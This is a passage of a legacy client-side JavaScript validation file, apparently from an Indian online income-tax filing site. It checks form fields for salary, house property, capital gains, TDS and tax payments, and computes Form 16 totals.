﻿// JScript File
////////////< ReachTax.Com >//////////////////////////
//
//	Author
//					
//		P.Ramesh., 
//		S.Arun., 
//      M.C.Silas Paul.
//	For
//		Reach Process Outsourcing Pvt. Ltd., Chennai.
//	
/////////////////////////////////////////////////////
history.go(+1); // disable browsers back button
//
////Added to detech mozzila and Opera browser	
//if (/MSIE (\d+\.\d+);/.test(navigator.userAgent))
//{ //test for MSIE x.x;
//    var ieversion=new Number(RegExp.$1) // capture x.x portion and store as a number
//    if (ieversion<=5)
//    { 
//		alert("Use Internet explorer 6.0 and Above for accurate functionality");
//    }
//}
//else
//{
//alert("You may not experience accurate functionality using this browser.\nWe recommend you to use Internet explorer 6.0 and Above");
//}
////
//E Mail Validation
function emailcheck(str) 
{

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
	}
//
// Password Strength
function passwordChanged() 
{
	var strength = document.getElementById('strength');
	var strongRegex = new RegExp("^(?=.{8,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])(?=.*\\W).*$", "g");
	var mediumRegex = new RegExp("^(?=.{7,})(((?=.*[A-Z])(?=.*[a-z]))|((?=.*[A-Z])(?=.*[0-9]))|((?=.*[a-z])(?=.*[0-9]))).*$", "g");
	var enoughRegex = new RegExp("(?=.{6,}).*", "g");
	var pwd = document.getElementById("txtPassword");
	if (pwd.value.length==0) 
	{
		strength.innerHTML = 'Password Strength';
	} else if (false == enoughRegex.test(pwd.value)) 
	{
		strength.innerHTML = 'More Characters';
	} else if (strongRegex.test(pwd.value)) 
	{
		strength.innerHTML = '<span style="color:green">Strong!</span>';
	} else if (mediumRegex.test(pwd.value)) 
	{
		strength.innerHTML = '<span style="color:orange">Medium!</span>';
	} else 
	{ 
		strength.innerHTML = '<span style="color:red">Weak!</span>';
	}
}    
    
// Click Button

function clickButton(e, buttonid)
	{
	var bt = document.getElementById(buttonid);
	if (typeof bt == 'object')
	    {
			if(navigator.appName.indexOf("Netscape")>(-1))
			{
				if (e.keyCode == 13)
				{
						bt.click();
						return false;
				}
			}
			if (navigator.appName.indexOf("Microsoft Internet Explorer")>(-1))
			{
				if (event.keyCode == 13)
				{
						bt.click();
						return false;
				}
			}
			if(navigator.appName.indexOf("Firefox")>(-1))
			{
				if (e.keyCode == 13)
				{
						bt.click();
						return false;
				}
			}
		}
	} 
	
//To UpperCase TAN entries

function tanToUppercase() 
{
	document.form1.txtTAN.value = document.form1.txtTAN.value.toUpperCase();
}	

//To UpperCase PAN entries

function panToUppercase() 
 {
    document.form1.txtPAN.value = document.form1.txtPAN.value.toUpperCase();
 }

//Disable Characters & Special characters _Form16, _OtherSources

function Numeric()
{
    if(event.keyCode==46 || event.keyCode>=48 && event.keyCode<=57 || event.keyCode>=96 && event.keyCode<=105 || event.keyCode==8 ||event.keyCode==37 || event.keyCode==39)
		    return true;
    else
		    return false;
}
//Setting tabindex to corresponding control using js //- Arun
function tabSetForCtrl(ctrlId)
{
    if(event.which || event.keyCode)
    {
        if ((event.which == 9) || (event.keyCode == 9)) 
            {
                document.getElementById(ctrlId).focus();
                return false;
            }
    } 
    else 
    {
        return true
    }
}
//Setting tabindex to corresponding textbox control and checking the value as Numeric //- Arun
function tabSetAndNumericForCtrl(txtId)
{
    if(event.which || event.keyCode)
    {
        if ((event.which == 9) || (event.keyCode == 9)) 
            {
                document.getElementById(txtId).focus();
                return false;
            }
        if(event.keyCode==46 || event.keyCode>=48 && event.keyCode<=57 || event.keyCode>=96 && event.keyCode<=105 || event.keyCode==8 ||event.keyCode==37 || event.keyCode==39)
        {
        return true;
        }
        else
        {
        return false;
        }
    } 
    else 
    {
        return true
    }
    
}		
function WatermarkFocus(txtElem)
{
	if (txtElem.value == '0') txtElem.value = '';
}
function WatermarkBlur(txtElem)
{
	if (txtElem.value == '') txtElem.value = '0';
}
// DATE Validation

function check_date(field)
{
	var checkstr = "0123456789";
	var DateField = field;
	var Datevalue = "";
	var DateTemp = "";
	var seperator = "-";
	var day;
	var month;
	var year;
	var leap = 0;
	var err = 0;
	var i;
	err = 0;
	DateValue = DateField.value;	
	/* Delete all chars except 0..9 */
	for (i = 0; i < DateValue.length; i++) {
		if (checkstr.indexOf(DateValue.substr(i,1)) >= 0) {
			DateTemp = DateTemp + DateValue.substr(i,1);
		}
	}
	DateValue = DateTemp;   
	/* if year is entered as 2-digit / always assume 20xx
	if (DateValue.length == 6) {
		DateValue = DateValue.substr(0,4) + '20' + DateValue.substr(4,2); }  */
	      
	/* Always change date to 8 digits - string*/
	if (DateValue.length != 8) {
		err = 19;}
	/* year is wrong if year = 0000 */
	year = DateValue.substr(4,4);
	if (year == 0) {
		err = 20;
	}
	/* Validation of month*/
	month = DateValue.substr(2,2);
	if ((month < 1) || (month > 12)) {
		err = 21;
	}
	/* Validation of day*/
	day = DateValue.substr(0,2);
	if (day < 1) {
		err = 22;
	}
	/* Validation leap-year / february / day */
	if ((year % 4 == 0) || (year % 100 == 0) || (year % 400 == 0)) {
		leap = 1;
	}
	if ((month == 2) && (leap == 1) && (day > 29)) {
		err = 23;
	}
	if ((month == 2) && (leap != 1) && (day > 28)) {
		err = 24;
	}
	/* Validation of other months */
	if ((day > 31) && ((month == "01") || (month == "03") || (month == "05") || (month == "07") || (month == "08") || (month == "10") || (month == "12"))) {
		err = 25;
	}
	if ((day > 30) && ((month == "04") || (month == "06") || (month == "09") || (month == "11"))) {
		err = 26;
	}
	/* if 00 ist entered, no error, deleting the entry */
	if ((day == 0) && (month == 0) && (year == 00)) {
		err = 0; day = ""; month = ""; year = ""; seperator = "";
	}
	/* if no error, write the completed date to Input-Field (e.g. 13.12.2001) */
	if (err == 0) {
		DateField.value = day + seperator + month + seperator + year;
	}
	/* Error-message if err != 0 */
	else {
		alert("Date is incorrect!");
		DateField.select();
		DateField.focus();
	}
}
//

//	SalarySummary.aspx
	
function SalarySummary()
	{
		if(document.form1.txtEmployerName.value=="")
		{
			alert("Please enter the Name");
			document.form1.txtEmployerName.focus();
			return false;
		}		
		if(document.form1.txtBuildingName.value=="")
		{
			alert("Please enter the premises");
			document.form1.txtBuildingName.focus();
			return false;
		}
		if(document.form1.txtCity.value=="")
		{
			alert("Please enter the city");
			document.form1.txtCity.focus();
			return false;
		}	
		if(form1.drpState.value == "")
		{
			alert("Select the state");
			form1.drpState.focus();
			return (false);
		}		
		if (form1.txtPincode.value == "")
		{
			alert("Please enter postal code");
			document.form1.txtPincode.focus();
			return (false);
		}		 
		if(document.form1.txtPincode.value.length!=6)
		{
			alert("please enter 6 digit numbers only")
			document.form1.txtPincode.focus();
			return false;
		}
		if(form1.drpCategory.value=="")
		{
			alert("please select the Category")
			form1.drpCategory.focus();
			return false;
		}
		if(document.form1.txtTAN.value=="")
		{
			alert("Please enter TAN Number.");
			form1.txtTAN.focus();
			return false;
		}
		if(document.form1.txtTAN.value != "")
		{

  			var x = document.form1.txtTAN.value;
			var filter  =/^[a-zA-Z]{4}[0-9]{5}[a-zA-Z]{1}$/;
			if (filter.test(x)) 
				{
					return true;
				}
			else 
				{
					alert("Please enter a valid TAN Number!\n Eg: AAAA99999A");
					document.form1.txtTAN.focus();	
					return(false);
				}		 
		}	
		if(document.form1.txtPAN.value != "")
 	    {
		    var x = document.form1.txtPAN.value;
		    var filter  =/^[a-zA-Z]{5}[0-9]{4}[a-zA-Z]{1}$/;
		    if (filter.test(x)) 
			    {
				    return true;
			    }
		        else 
			    {
				    //alert("Please enter a valid PAN Number!\n Eg: XXXXX9999X");
				    alert("Please enter a valid PAN Number \n Eg: XXXXX9999X !");
			        document.form1.txtPAN.focus();	
				    return(false);
			    }		
	     }
		
	return(false);
}
//
function Form16Calc() // Changed by Arun S 16-03-09
	{
	    // Addition
		var a,b,c,d,a1,b1,c1,a2,b2,c2,a3,b3,c3,d3,a4,b9;
		var a4,b4,c4,a5,b5,c5,a6,b6,c6,a7,b7,c7,a8,b8,c8,d8,d9,d10,d11;
		// 1 a+b+c
		a=parseInt(leftTrim(document.all("txtSalary").value));
		if(isNaN(a)==true){a=0;}
		b=parseInt(leftTrim(document.all("txtPerquisite").value));
		if(isNaN(b)==true){b=0;}
		c=parseInt(leftTrim(document.all("txtProfit").value));
		if(isNaN(c)==true){c=0;}
		d =a+b+c;
		document.all("txtTotal").value= d;					
		
		 //3. 1-2
		a4=parseInt(leftTrim(document.all("txtTotal").value));
		if(isNaN(a4)==true){a4=0;}
		b4=parseInt(leftTrim(document.all("txtExtentAllowance").value));
		if(isNaN(b4)==true){b4=0;}
		c4 = a4 - b4;
		document.all("txtBalance").value=c4;
			 // 5. a+b
		a1=parseInt(leftTrim(document.all("txtEntAllowance").value));
		if(isNaN(a1)==true){a1=0;}
		b1=parseInt(leftTrim(document.all("txtTax").value));
		if(isNaN(b1)==true){b1=0;}
		c1 =a1+ b1;
		document.all("txtAggregate").value= c1;
				 //6. 3-5
		b5=parseInt(leftTrim(document.all("txtAggregate").value));
        if(isNaN(b5)==true){b5=0;}
		c5 =c4 - b5;
		document.all("txtHeadSalary").value=c5;
			 // 8. 6+7					
		b2=parseInt(leftTrim(document.form1.txtOtherIncome.value));
		if(isNaN(b2)==true){b2=0;}
		c2 =c5 + b2;
		document.all("txtGrossTotal").value= c2;
		
			//11. 8-10				
		d9=parseInt(leftTrim(document.form1.txtDeduction80c.value));
		if(isNaN(d9)==true){d9=0;}
		d10=parseInt(leftTrim(document.form1.txtDeduction80e.value));
		if(isNaN(d10)==true){d10=0;}
		if(d9 <=100000)
		{
		    d11 =d9 + d10; //10. 9a+9b
		    document.all("txtDeductibleAmts").value= d11;
		    //		
		    b6=parseInt(leftTrim(document.all("txtDeductibleAmts").value));
            if(isNaN(b6)==true){b6=0;}
		    c6 = c2 - b6;
		    document.all("txtTotalIncome").value=c6;
    		
			 //15. 12+13+14
		    a3=parseInt(leftTrim(document.all("txtTaxTotalIncome").value));
		    b3=parseInt(leftTrim(document.all("txtSurcharge").value));
		    c3=parseInt(leftTrim(document.all("txtEducationCess").value));
		    if(isNaN(a3)==true){a3=0;}
		    if(isNaN(b3)==true){b3=0;}
		    if(isNaN(c3)==true){c3=0;}
		    d3 =a3 + b3 + c3;
		    document.all("txtTaxPayable1").value= d3;
    		
			// 17. 15-16					
		    b7=parseInt(leftTrim(document.all("txtRelief").value));
		    if(isNaN(b7)==true){b7=0;}
		    c7 = d3 - b7;
		    document.all("txtTaxPayable2").value=c7;
            if( c7 < 0)
            {
               
                a8=parseInt(leftTrim(document.all("txtTaxPayable2").value));
                b8=parseInt(leftTrim(document.all("txtTaxDeduction").value));
		        c8=parseInt(leftTrim(document.all("txtTaxPaidAmt").value));
		        if(isNaN(a8)==true){a8=0;}
		        if(isNaN(b8)==true){b8=0;}
		        if(isNaN(c8)==true){c8=0;}
		        c8+= b8;
		        d8 = a8- c8;
    //		    if(document.all("txtTotalTaxPayable").value < 0 )d8=0;
		        document.all("txtTotalTaxPayable").value=d8;
            }
            else
            {
		        // 19. 17-18 a+b
		        a8=parseInt(leftTrim(document.all("txtTaxPayable2").value));
		        b8=parseInt(leftTrim(document.all("txtTaxDeduction").value));
		        c8=parseInt(leftTrim(document.all("txtTaxPaidAmt").value));
		        if(isNaN(a8)==true){a8=0;}
		        if(isNaN(b8)==true){b8=0;}
		        if(isNaN(c8)==true){c8=0;}
		        c8+= b8;//18. 18a+9b
		        d8 = a8- c8;
    //		    if(document.all("txtTotalTaxPayable").value < 0 )d8=0;
		        document.all("txtTotalTaxPayable").value=d8;
		        //document.getElementById(ctrlId).focus();
		    }
        }
        else
        {
            alert("Point 9(a)should not exceed Rs.100000");
            form1.txtDeduction80c.focus();
            return (false);
        } 
}
//
function Form16() // Changed by Arun S 16-03-09
	{
        var d80c=parseInt(leftTrim(document.form1.txtDeduction80c.value));
		if(isNaN(d80c)==true){d80c=0;}
		if(d80c > 100000)
		{
            alert("Point 9(a)should not exceed Rs.100000");
            form1.txtDeduction80c.focus();
            return (false);
        } 
    }
// IncomeHouseProperty
	
function IncomeHouseProperty()
{
	if(document.form1.txtPremisesName.value=="")
	{
		alert("Enter the Premises Name.");
		document.form1.txtPremisesName.focus();
		return false;txtCity
	}	
	if(document.form1.txtCity.value=="")
	{
		alert("Enter the City.");
		document.form1.txtCity.focus();
		return false;
	}	
	if(form1.drpState.value=="Select")
	{
		alert("Select the State.");
		form1.drpState.focus();
		return false;
	}	
	
	if (form1.txtPincode.value == "")
	{
		alert("Enter Postal Code.");
		form1.txtPincode.focus();
		return (false);
 	}		 
 	if (form1.txtPincode.value == "")
		 {
			alert("Please enter postal code");
			document.form1.txtPincode.focus();
			return (false);
 		 }		 
 	if (isNaN(document.form1.txtPincode.value))
		{
			alert("Please enter numeric characters only")
			document.form1.txtPincode.focus();
			return false;
		}						
	if(document.form1.txtPincode.value.length!=6)
		{
			alert("please enter 6 digit numbers only")
			document.form1.txtPincode.focus();
			return false;
		}
	//
	if(form1.txtOwnership.value=="")
	{
		alert("Enter Share of Ownership.");
		form1.txtOwnership.focus();
		return false;
	}
	if(form1.txtOwnership.value<1)
	{
		alert("Share of Ownership does'nt go beyond 1.");
		form1.txtOwnership.focus();
		return false;
	}
	if(form1.txtOwnership.value>100)
	{
		alert("Share of Ownership does'nt exceed 100.");
		form1.txtOwnership.focus();
		return false;
	}
	if (isNaN(document.form1.txtOwnership.value))
		{
			alert("Please enter numeric characters only")
			document.form1.txtOwnership.focus();
			return false;
		}						
	//
	if(form1.txtInterestPaid.value=="")
		{
			alert("Enter the Interest Paid.");
			form1.txtInterestPaid.focus();
			return false;
		}	
	if (isNaN(document.form1.txtInterestPaid.value))
		{
			alert("Please enter numeric characters only")
			document.form1.txtInterestPaid.focus();
			return false;
		}	
		
	if (form1.txtInterestPaid.value < 1)
		{
			alert("Please enter any value!")
			document.form1.txtInterestPaid.focus();
			return false;
		}
							
	if(form1.txtLoanDate.value=="")
		{
			alert("Enter the Date on which Loan taken:(yyyymmdd).");
			form1.txtLoanDate.focus();
			return false;
		}
	
	if(form1.txtPossessionDate.value=="")
		{
			alert("Enter the Date of possession of property:(yyyy-mm-dd).");
			form1.txtPossessionDate.focus();
			return false;
		}
	if(form1.txtPossessionDate.value.length!=10)
		{
			alert("Enter the date in yyyy-mm-dd format.\n For eg. 2000-01-01");
			form1.txtPossessionDate.focus();
			return false;
		}
	
	return (true);
}
//IncomeHousePropertyRent
function IncomeHousePropertyRent()
{
	if(form1.txtNameTenant.value=="")
		{
			alert("Enter the Name of the Tenant.");
			form1.txtNameTenant.focus();
			return false;	
		}
	if(form1.txtRentReceivable.value=="")
		{
			alert("Enter the Receivable Rent.");
			form1.txtRentReceivable.focus();
			return false;
		}
	if (isNaN(document.form1.txtRentReceivable.value))
		{
			alert("Please enter numeric characters only")
			document.form1.txtRentReceivable.focus();
			return false;
		}
	if (isNaN(document.form1.txtExpectedRent.value))
		{
			alert("Please enter numeric characters only");
			document.form1.txtExpectedRent.focus();
			return false;	
		}
		if (isNaN(document.form1.txtAnnualRent.value))
		{
			alert("Please enter numeric characters only");
			form1.txtAnnualRent.focus();
			return false;	
		}
		if (isNaN(document.form1.txtMuniTaxPaid.value))
		{
			alert("Please enter numeric characters only");
			form1.txtMuniTaxPaid.focus();
			return false;	
		}
		if (isNaN(document.form1.txtRentRealizedYear.value))
		{
			alert("Please enter numeric characters only");
			form1.txtRentRealizedYear.focus();
			return false;	
		}
	//
	if ((form1.rtbnVaccantYes.checked==true)&&(isNaN(document.form1.txtTotMonthsLetOut.value)))
		{
			alert("Please enter numeric characters only");
			form1.txtTotMonthsLetOut.focus();
			return false;	
		}
	if ((form1.rtbnVaccantYes.checked==true)&&(isNaN(document.form1.txtPropetyVaccantMonths.value)))
	{
		alert("Please enter numeric characters only");
		document.form1.txtPropetyVaccantMonths.focus();
		return false;	
	}
	if ((form1.rtbnActYes.checked==true)&&(isNaN(document.form1.txtRentOfProperty.value)))
	{
		alert("Please enter numeric characters only");
		form1.txtRentOfProperty.focus();
		return false;	
	}
	if ((form1.rtbnReceivedYes.checked==true)&&(isNaN(document.form1.txtRentRealizedForEarlierYear.value)))
	{
		alert("Please enter numeric characters only");
		form1.txtRentRealizedForEarlierYear.focus();
		return false;	
	}
	if ((form1.rtbnOfferNo.checked==false)&&(isNaN(document.form1.txtAmtReceived.value)))
	{
		alert("Please enter numeric characters only");
		form1.txtAmtReceived.focus();
		return false;	
	}
	if(document.form1.txtPAN.value != "")
 	    {
		    var x = document.form1.txtPAN.value;
		    var filter  =/^[a-zA-Z]{5}[0-9]{4}[a-zA-Z]{1}$/;
		    if (filter.test(x)) 
			    {
				    return true;
			    }
		        else 
			    {
				    //alert("Please enter a valid PAN Number!\n Eg: XXXXX9999X");
				    alert("Please enter a valid PAN Number \n Eg: XXXXX9999X !");
			        document.form1.txtPAN.focus();	
				    return(false);
			    }		
	     }
/*	if(form1.txtTotMonthsLetOut.value=="0")
		{
			alert("Enter the No of months the property was meant for Let-Out.");
			form1.txtTotMonthsLetOut.focus();
			return false;
		}
	if(form1.txtPropetyVaccantMonths.value=="0")
		{
			alert("Enter the No of months property was Vaccant.");
			form1.txtPropetyVaccantMonths.focus();
			return false;
		}*/
	return (true);
}
// OtherSources

function Interest()
{
	if(form1.drpSource.value == "")
	{
		alert("Select one Source");
		form1.drpSource.focus();
		return false;
 	}	
 	if(form1.drpInvestment.value == "")
	{
		alert("Select one Investment Type");
		form1.drpInvestment.focus();
		return false;
 	}			
	if (form1.txtInterestBank.value == "")
	{
		alert("Please enter the Bank Name");
		document.form1.txtInterestBank.focus();
		return false;
 	}		 
	if(document.form1.txtInterestAmount.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtInterestAmount.focus();
		return false;
	}
	return (true);
} 

function Dividend()
{
	if(form1.drpDividendSource.value == "")
	{
		alert("Select one Source");
		form1.drpDividendSource.focus();
		return false;
 	}	
 	if(form1.drpDividendInvestment.value == "")
	{
		alert("Select one Investment");
		form1.drpDividendInvestment.focus();
		return false;
 	}			
	if (form1.txtDividendCompany.value == "")
	{
		alert("Please enter Company Name");
		document.form1.txtDividendCompany.focus();
		return false;
 	}		 
	if(document.form1.txtDividendAmount.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtDividendAmount.focus();
		return false;
	}
	return (true);
} 

function RentalIncome()
{
	if(document.form1.txtRentalIncome.value=="")
	{
		alert("Please enter Rental Income.");
		form1.txtRentalIncome.focus();
		return false;
	}
	return (true);
} 

function RaceHorseIncome()
{
	if (form1.txtRaceHorseIncome.value == "")
	{
		alert("Please enter your income from race horse");
		document.form1.txtRaceHorseIncome.focus();
		return false;
 	}		 
	return (true);
} 

function ResidentialHouse()
{
	if(document.form1.txtPropertyLocation.value=="")
	{
		alert("Please enter the location of property.");
		form1.txtPropertyLocation.focus();
		return false;
	}
	if(document.form1.txtPossessionDate.value=="")
	{
		alert("Please enter the date of possession.");
		form1.txtPossessionDate.focus();
		return false;
	}
	return (true);
} 	

function AgriculturalLand()
{
	if(document.form1.txtLandLocation.value=="")
	{
		alert("Please enter the location of land.");
		form1.txtLandLocation.focus();
		return false;
	}	
	if(document.form1.txtDatePurchased.value=="")
	{
		alert("Please enter the date of purchased.");
		form1.txtDatePurchased.focus();
		return false;
	}
	return (true);
} 		
//Capital Gains
//Shares&Security
function CGShares()
{
	if(form1.txtSharesCompany.value == "")
	{
		alert("Please enter name of the company");
		form1.txtSharesCompany.focus();
		return false;
 	}	
 	if(form1.drpSharesCategory.value == "")
	{
		alert("Select one category");
		form1.drpSharesCategory.focus();
		return false;
 	}			
	if (form1.txtSharesSaleDate.value == "")
	{
		alert("Please enter the date of sale");
		document.form1.txtSharesSaleDate.focus();
		return false;
 	}		 
	if(document.form1.txtSharesPurchaseDate.value=="")
	{
		alert("Please enter the date of purchase.");
		form1.txtSharesPurchaseDate.focus();
		return false;
	}
	if(document.form1.txtSharesFairPrice.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtSharesFairPrice.focus();
		return false;
	}
	return (true);
}

//Mutual Funds
function CGMutualFunds()
{
	if(form1.txtMutualFund.value == "")
	{
		alert("Please enter name of the Mutual Fund");
		form1.txtMutualFund.focus();
		return false;
 	}	
 	if(form1.drpMutualCategory.value == "")
	{
		alert("Select one category");
		form1.drpMutualCategory.focus();
		return false;
 	}			
	if (form1.txtMutualSaleDate.value == "")
	{
		alert("Please enter the date of sale");
		document.form1.txtMutualSaleDate.focus();
		return false;
 	}		 
	if(document.form1.txtMutualPurchaseDate.value=="")
	{
		alert("Please enter the date of purchase.");
		form1.txtMutualPurchaseDate.focus();
		return false;
	}
	if(document.form1.txtMutualFairPrice.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtMutualFairPrice.focus();
		return false;
	}
	return (true);
}

//Debentures
function CGDebentures()
{
	if(form1.txtDebentureCompany.value == "")
	{
		alert("Please enter name of the company");
		form1.txtDebentureCompany.focus();
		return false;
 	}	
 	if(form1.drpDebentureCategory.value == "")
	{
		alert("Select one category");
		form1.drpDebentureCategory.focus();
		return false;
 	}			
	if (form1.txtDebentureSaleDate.value == "")
	{
		alert("Please enter the date of sale");
		document.form1.txtDebentureSaleDate.focus();
		return false;
 	}		 
	if(document.form1.txtDebenturePurchaseDate.value=="")
	{
		alert("Please enter the date of purchase.");
		form1.txtDebenturePurchaseDate.focus();
		return false;
	}
	if(document.form1.txtDebentureFairPrice.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtDebentureFairPrice.focus();
		return false;
	}
	return (true);
}

//Property
function CGProperty()
{
	if(form1.txtPropertyLocation.value == "")
	{
		alert("Please enter location of the Property sold");
		form1.txtPropertyLocation.focus();
		return false;
 	}	
 	if(form1.drpPropertyCategory.value == "")
	{
		alert("Select one category");
		form1.drpPropertyCategory.focus();
		return false;
 	}			
	if (form1.txtPropertySaleDate.value == "")
	{
		alert("Please enter the date of sale");
		document.form1.txtPropertySaleDate.focus();
		return false;
 	}		
 	if(document.form1.txtSaleStampDuty.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtSaleStampDuty.focus();
		return false;
	} 
	if(document.form1.txtPropertyPurchaseDate.value=="")
	{
		alert("Please enter the date of purchase.");
		form1.txtPropertyPurchaseDate.focus();
		return false;
	}
	if(document.form1.txtPropertyFairPrice.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtPropertyFairPrice.focus();
		return false;
	}
	return (true);
}

//Intangible Assets
function CGIntangibleAssets()
{
 	if(form1.drpIntangibleNature.value == "")
	{
		alert("Select the nature of Intangible Asset");
		form1.drpIntangibleNature.focus();
		return false;
 	}		
 	if(form1.txtIntangibleDescription.value == "")
	{
		alert("Please enter the description");
		form1.txtIntangibleDescription.focus();
		return false;
 	}		
	if (form1.txtIntangibleSaleDate.value == "")
	{
		alert("Please enter the date of sale");
		document.form1.txtIntangibleSaleDate.focus();
		return false;
 	}		 
	if(document.form1.txtIntangiblePurchaseDate.value=="")
	{
		alert("Please enter the date of purchase.");
		form1.txtIntangiblePurchaseDate.focus();
		return false;
	}
	if(document.form1.txtIntangibleFairPrice.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtIntangibleFairPrice.focus();
		return false;
	}
	return (true);
}

//Other Assets
function CGOtherAssets()
{
 	if(form1.drpOtherCategory.value == "")
	{
		alert("Select one category");
		form1.drpOtherCategory.focus();
		return false;
 	}		
 	if(form1.txtOtherDescription.value == "")
	{
		alert("Please enter the description");
		form1.txtOtherDescription.focus();
		return false;
 	}		
	if (form1.txtOtherSaleDate.value == "")
	{
		alert("Please enter the date of sale");
		document.form1.txtOtherSaleDate.focus();
		return false;
 	}		 
	if(document.form1.txtOtherPurchaseDate.value=="")
	{
		alert("Please enter the date of purchase.");
		form1.txtOtherPurchaseDate.focus();
		return false;
	}
	if(document.form1.txtOtherFairPrice.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtOtherFairPrice.focus();
		return false;
	}
	return (true);
}

//TDS
function TDS()
{
 	if(form1.txtName.value == "")
	{
		alert("Please enter Employer Name");
		form1.txtName.focus();
		return false;
 	}		
	if (form1.txtAddress.value == "")
	{
		alert("Please enter Employer Address");
		document.form1.txtAddress.focus();
		return false;
 	}		 
	if(document.form1.txtCity.value=="")
	{
		alert("Please enter Employer City.");
		form1.txtCity.focus();
		return false;
	}
	if(form1.drpState.value == "")
	{
		alert("Select one state");
		form1.drpState.focus();
		return false;
 	}
	if(document.form1.txtPinCode.value=="")
	{
		alert("Please enter the pincode.");
		form1.txtPinCode.focus();
		return false;
	}
	if(document.form1.txtPinCode.value.length!=6)
	{
		alert("please enter 6 digit numbers only")
		document.form1.txtPinCode.focus();
		return false;
	}
	if(form1.drpPaymentNature.value == "")
	{
		alert("Select one category");
		form1.drpPaymentNature.focus();
		return false;
 	}
	return (true);
}
////
//TDS
function TaxPayment()
{
 	if(form1.drpTaxPaymentCategory.value == "")
	{
		alert("Select one category");
		form1.drpTaxPaymentCategory.focus();
		return false;
 	}		
 	if(form1.txtBankName.value == "")
	{
		alert("Please enter the name of bank");
		form1.txtBankName.focus();
		return false;
 	}		
	if (form1.txtBSRCode.value == "")
	{
		alert("Please enter the BSR Code");
		document.form1.txtBSRCode.focus();
		return false;
 	}		 
 	if(document.form1.txtBSRCode.value.length!=7)
	{
		alert("please enter 7 digit numbers only")
		document.form1.txtBSRCode.focus();
		return false;
	}
	if(document.form1.txtDepositDate.value=="")
	{
		alert("Please enter the date of deposit.");
		form1.txtDepositDate.focus();
		return false;
	}
	if(document.form1.txtChallanNo.value=="")
	{
		alert("Please enter the ChallanNo.");
		form1.txtChallanNo.focus();
		return false;
	}
	if(document.form1.txtChallanNo.value.length!=5)
	{
		alert("please enter 5 digit numbers only")
		document.form1.txtChallanNo.focus();
		return false;
	}
	if(document.form1.txtAmountPaid.value=="")
	{
		alert("Please enter the Amount.");
		form1.txtAmountPaid.focus();
		return false;
	}
	return (true);
}
////
//Tax Estimator
function TaxEstimator()
	{
	    if(form1.drpAge.value == "")
		{
			alert("Select your age");
			form1.drpAge.focus();
			return (false);
		}	
		if ((form1.rbtnGenderMale.checked==false)&&(form1.rbtnGenderFemale.checked==false))
		{
			alert("Select your gender");
			return false;	
		}	
        return (true);
    }
//Employer.aspx
function ChangeValue() // Arun
{
    var a=50-document.getElementById("drpEndUser").value;
    if(a==0)
    {
    document.getElementById('txtCommission').value="0%";
    }
    if(a==10)
    {
    document.getElementById('txtCommission').value="10%";
    }
    if(a==20)
    {
    document.getElementById('txtCommission').value="20%";
    }
    if(a==30)
    {
    document.getElementById('txtCommission').value="30%";
    }
    if(a==40)
    {
    document.getElementById('txtCommission').value="40%";
    }
}
function ChangeCFValue() // Arun
{
    var a=document.getElementById("drpCampaign").value;
    document.getElementById('txtCF').value=a;
}
////Other Sources dropdown

function populate_Interest(source,formId) // Arun
{
    var form = formId;
    form.options.length = 0;

        if(source == 'Select')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            
        }
        if(source == 'Bank')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("Savings A/C","Savings A/C");
            form.options[2] = new Option("Fixed Deposit","Fixed Deposit");
            form.options[3] = new Option("Recurring Deposit","Recurring Deposit");
            form.options[4] = new Option("Public Provident FundPublic Provident Fund");
             
        }
        if(source == 'Post Office')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("Savings A/C","Savings A/C");
            form.options[2] = new Option("Monthly Income Plan","Monthly Income Plan");
            form.options[3] = new Option("Recurring Deposit","Recurring Deposit");
            form.options[4] = new Option("Public Provident Fund","Public Provident Fund");
            form.options[5] = new Option("National Saving Certificate","National Saving Certificate");
            form.options[6] = new Option("Kisan Vikas Patra","Kisan Vikas Patra");
        }
      if(source == 'Company')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("Debentures","Debentures");
            form.options[2] = new Option("Fixed Deposit","Fixed Deposit");
            form.options[3] = new Option("Bonds","Bonds");
        }
        if(source == 'Bonds')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("Tax Free Bonds","Tax Free Bonds");
            form.options[2] = new Option("Taxable Bonds","Taxable Bonds");
        }
        if(source == 'Loans')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("General","General");
        }
